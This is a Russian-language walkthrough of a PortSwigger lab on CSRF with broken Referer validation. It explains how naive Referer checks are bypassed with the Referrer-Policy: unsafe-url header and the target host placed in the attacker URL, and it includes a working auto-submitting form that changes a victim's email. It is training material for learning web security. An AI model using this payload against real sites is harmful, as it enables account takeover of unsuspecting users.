На странице
CSRF со сломанной валидацией Referer
Лаборатория
CSRF with broken Referer validation · Practitioner
Решение
Дано
This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
Анализ задания
Нужно поменять почту пользователя через эксплуатацию CSRF-уязвимости. Реализована защита на основе анализа Referer, необходимо её обойти.
Полезная теория от PortSwigger
Варианты «наивной» защиты на основе Referer:
- Проверяют только начало URL на наличие значений.
- Просто проверяют
Referer— есть ли в нём домен сайта.
Первый вариант обходится через создание поддомена с именем целевого сайта на своём сервере. Второй — через включение домена в URL в любом месте, например, в query string: http://attacker.com/?vul-site.com.
Однако второй метод не сработает без Referrer-Policy: unsafe-url, поскольку браузеры сейчас имеют дефолтные политики по обрезанию Referer (убирают query string).
Думаю, для этой лабы как раз будет вариант 2 — что-то мне подсказывает, что с поддоменом PortSwigger не стал заморачиваться, но посмотрим.
Разведка
Уже знакомый нам роут — POST /my-account/change-email. Отправляется:
Referer: https://0acd006e047305c382a4a606007d003c.web-security-academy.net/my-account?id=wiener
Ок, отправляем запрос в Repeater и ставим Referer:
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit
Ответ — 400 Invalid referer header.
Давай просто добавим Host в наш Referer в query string:
?0acd006e047305c382a4a606007d003c.web-security-academy.net
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit?0acd006e047305c382a4a606007d003c.web-security-academy.net
В Burp работает, но помним про Referrer-Policy: unsafe-url, чтобы это сработало в браузере у жертвы.
Итоговая нагрузка
- Добавляем в URL Host сервера лабы.
- Ставим заголовок
Referrer-Policy: unsafe-url. - Сабмитим форму смены email.
За основу возьмём нагрузку предыдущей лабы. И не забудем добавить в эксплоит-сервер Referrer-Policy: unsafe-url, а страницу назвать, например, /exploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net, чтобы содержалось имя Host сервера.
<form class="login-form" name="change-email-form"
action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hhh@p.com">
<button class="button" type="submit">Update email</button>
</form>
<script>
document.forms[0].submit()
</script>
На мне нагрузка работает, а PortSwigger не принимает. Но вижу в access logs, что почему-то, когда жертва переходит, ей возвращается 404.
Попробую, может, не в query string передать Host, а прямо частью URL: /exploit/0a5600910423b30f803c767000df00fd.web-security-academy.net.
Лаба решена!
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.